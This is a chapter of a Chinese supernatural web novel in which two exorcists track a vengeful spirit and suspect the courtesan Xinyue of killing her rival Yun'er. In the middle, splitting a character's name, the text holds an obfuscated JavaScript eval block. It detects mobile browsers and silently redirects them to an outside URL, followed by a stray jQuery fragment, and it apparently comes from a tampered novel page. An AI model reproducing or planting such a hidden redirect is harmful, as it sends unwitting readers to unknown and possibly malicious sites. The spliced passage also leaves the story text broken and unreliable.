一楼酒楼内,正慢条斯理吃着迟来早膳的钟子清放下碗筷,看向一旁正心事重重的夏初言:“阿言?”
“嗯?”夏初言回神,“怎么了?”
“在想什么?”看着对方并未吃多少东西,钟子清敛眸,默默将菜推到对方面前。
“无事,子清多吃点。”察觉到对方的动作,夏初言出声制止。
“阿言有心事。”钟子清开口,却并不是疑问。
夏初言默默无言,钟子清心思玲珑,况且自己确实有所思。
“子清,倘若……”有些不知道如何开口,夏初言说得有些犹豫。
话还没说完,她察觉到外面有一丝怨力波动,瞳孔不自觉闪过一丝红光的她迅速低下了头。
而钟子清背后的金钱剑也在夏初言察觉到怨力之时,不受控制地朝外飞出。
钟子清率先起身跨出凳子,长袍被带出一抹好看的弧度。
看着对方追出去的背影,夏初言将银钱拍在了桌子上,也快速起身跟了上去。
还好两人来的这酒楼不算繁华,大街上此刻并无什么行人聚集,金钱剑在外游走一圈后又重新回到钟子清背后的剑鞘里去了。
金钱剑失控,夏初言只见过一次。是之前自己想吸钟子清阳气之时被剑光反弹。
而感受怨力是怨灵的天性,除非遇到比自己强大百倍的死灵之力,否则怨力不会凭空暴露。自己方才眼底不受控制闪过的红光,可以证明那划过的怨力,来自一个强大的怨灵。
钟子清抬手将罗盘聚拢,两人低头去看,此刻指针安静非常,仿佛刚才发生的事情是二人的错觉一般。
“子清,这是怎么了~”夏初言收起情绪,朝着钟子清靠拢询问着。
“似乎有怨力波动。”钟子清翻手,金光消散间罗盘也消失在手心,“此刻却感应不到了。”
“这样啊……”夏初言应了一声,连钟子清也没有捕获到来源,却不知这怨灵是何。
两人站在原地,一阵淡淡的风声飘过,飞来一片纸恰巧落在了钟子清肩侧。
夏初言抬手将纸拂了下来:“这东西是从哪儿飘过来的,怎么……”
话说到一半夏初言就噤了声,因为她发现方才落在对方肩头的,是一张纸钱。
钟子清自然也看到了那已经落地的纸钱,视线朝前方看去。
这条街虽然算不上繁华,但也绝非人迹罕至,然而两人出来到现在,似乎一个行人都没有见到过。
风是顺着小巷吹过来的,两人对视一眼,默契地朝前走去。
不知哪里来的青烟在两人脚下蔓延,低语声渐渐传入耳畔,有些听不清楚说的是什么。
吧嗒一声,有什么东西摔在了地面上。
“啊!”一声惊恐的尖叫传来,迎面看到的却是一张熟悉的脸。
“心悦姑娘?”夏初言有些疑惑,对方此刻正蹲在地上用铜盆烧着纸钱。
许是因为突然出现的两人惊到了她,才会出现吧嗒一声铜盆被打翻的声音。
看了眼地上的灰烬,想来方才被风吹到钟子清肩膀上的,应该就是心悦用来祭奠的纸钱了。
“你为何在这里?”夏初言看了眼地上的灰烬,“怎么在这里祭奠?”
钟子清的视线也在对方身上打量一番:“心悦姑娘最近有遇到什么事情吗?”
这句话像是戳到了对方什么痛处,心悦突然起身高声反驳:“你胡说什么!”
意识到自己反应过激,又放低了音量:“真是不好意思,冲撞二位了……我……我只是在这里祭奠下朋友。”
“朋友?”夏初言疑惑,“心悦姑娘的朋友难道无冢无坟,竟让你在此处祭奠?”
听到夏初言这般说,心悦瞬间白了脸色,支支吾吾说不出一句完整的话:“……抱歉二位,我还有事,就先告辞了。”
仓促福身行礼,心悦就跌跌撞撞离开了原地。
想到刚才钟子清的问话,夏初言歪头询问:“子清方才是发现了什么吗?”
“她身上有被怨力侵蚀的痕迹。”钟子清的视线盯着心悦离开的背影,“我们跟上去看看。”
心下有了点疑惑,夏初言点头,两人一起跟了上去。
心悦方才待着的地方是个转角,两人再次跟上去的时候,已经找不到对方的身影了。
“怎么走的这般快。”夏初言看着转角后过来空荡荡的街道有些愣神。
不过到了主街,路上的人倒是开始多了起来。
钟子清看着来来往往的行人开口:“去揽月阁。”
揽月阁身处繁华主街,两人赶到的时候里面客人不少。
“公子是来听曲儿的?”看到两人进入揽月阁,一中年女子模样的人拦住了两人的去路。
钟子清外型出挑,确实有些醒目。那女子笑着将人迎进门:“公子是在一楼雅座还是去二楼找姑娘们呐?”
有点不适应对方殷切的模样,钟子清默默退后一步和那女子拉开了些距离:“在下来找心悦姑娘。”
“呦这可不巧,心悦姑娘出去了,此刻还没回来呢。”那女子听到钟子清的话,笑容僵硬了一瞬,“要不公子听听我们阁里其他姑娘的曲子?”
看到对方不自在的模样,夏初言出声截住了女子的话:“那您可知心悦姑娘去了何处?”
听到夏初言问话,那女子瞥了一眼:“心悦姑娘有事,近日可能都不会来阁里了。”
这话答的前后矛盾,让人不禁怀疑。
突然想到什么,夏初言开口:“实不相瞒,我们两人是武府来的,受武生少爷所托,来拿东西。”
“武生少爷?”听到这话,女子重新打量起两人。
“您若是不信,大可以去武府上问问。”夏初言含笑,“不过武生少爷可催得紧,叮嘱我们尽快来取呢。”
“这……”女子犹豫了一下,最终松口,“二位随我来。”
很快两人就被带到了武生之前经常来的房间,夏初言转头开口:“少爷让我们将东西理好了带回去,我们还要先收拾收拾。”
女子点头:“两位自便。”
说罢这话,就退出了房间。
确认女子走远,夏初言关上房门。
钟
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16079326|179367||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
子清看着这里,开口询问:“阿言怎知武生在揽月阁有东西寄存的?”
“这就要说说某人之前听曲儿的事情了。”夏初言嗔了一眼钟子清,“可是让人家好找。”
谈及此,钟子清有些尴尬的咳了一声不再说话。
夏初言也轻车熟路走到床边,抬手在整理好的被褥下一摸,果不其然摸到了熟悉的小纸人。
“这是……”钟子清跟在夏初言身边。
夏初言点头,将纸人递给钟子清:“子清看看,这纸人身上是否有什么异常。”
接过纸人端详一番,钟子清摇头:“并无异常。”
一边嗯了一声,夏初言一边在房间里寻觅着其他的东西。
将桌上的盖布掀开,夏初言又打开了之前放着琵琶的木匣,那琵琶还安静的躺在长匣里。
钟子清低头看去:“这琵琶也是武生寄存在这里的吗?看模样似乎和心悦姑娘的一样。”
夏初言点头,指着琵琶上的刻字:“子清看上面的刻字,这把应该是韵儿生前所用的。”
“想来是韵儿姑娘离世后,心悦姑娘接替了她的琵琶音。”钟子清回应了一声,但这琵琶上也并无异动,他很快就将视线转移到其他地方。
“你说什么?”夏初言突然想到什么,“你是说心悦接替了韵儿。”
不知道夏初言为何突然有些激动,钟子清歪头:“我观这揽月阁里的乐器,似乎人人都有所不同,想来丝竹之乐也讲究的和而不同吧。”
所以揽月阁里只可能有一个绝色琵琶音,一个消失……才会出现另一个……
“被掳走……被掳走的吗……”夏初言低语。
为怨灵者,定然心怀执念。她想起了之前钟子清之所以误入揽月阁的起因,是因为心悦在弹琵琶时,天空汇聚的那股怨力。
而武府韵儿现身之际,也是那熟悉的怨力。
所以揽月阁上空的怨力来自韵儿,心悦害怕怨灵,换言之是害怕韵儿。
也许正是因为,她接替了韵儿,成为了下一个绝色琵琶音。
韵儿说谎了,她也许不只是单纯被掳走后受到报复。
“子清,若是心悦为了成为揽月阁的绝色琵琶音杀了韵儿呢?”夏初言沉声开口,“之前她知道你的身份,心生忌惮,今日她又在街角祭奠朋友……”
夏初言没有说完,钟子清也已经明白了因果。
“破。”袖口处的符箓挥出炸开,淡淡的金光消散的室内,“这室内没有任何怨力痕迹,我们要赶紧找到心悦。”
钟子清看了一眼木匣里的琵琶:“若怨灵嗜血,将再无往生可能。”
韵儿怨力薄弱,将桃树下的棺椁说出,让钟子清的注意力放在了尸身的禁制上,才能更好报复心悦。
心中无愧,自然不会受其所扰。可若心中有愧有贪,意志薄弱时,便是最终丧身之际。
心悦知道韵儿和武生的事情,若祭奠无用,她定然会去找。
“回武府!”夏初言拉起钟子清的袖子冲出房间。
而此刻的临近傍晚,夜色也已经开始悄然攀升……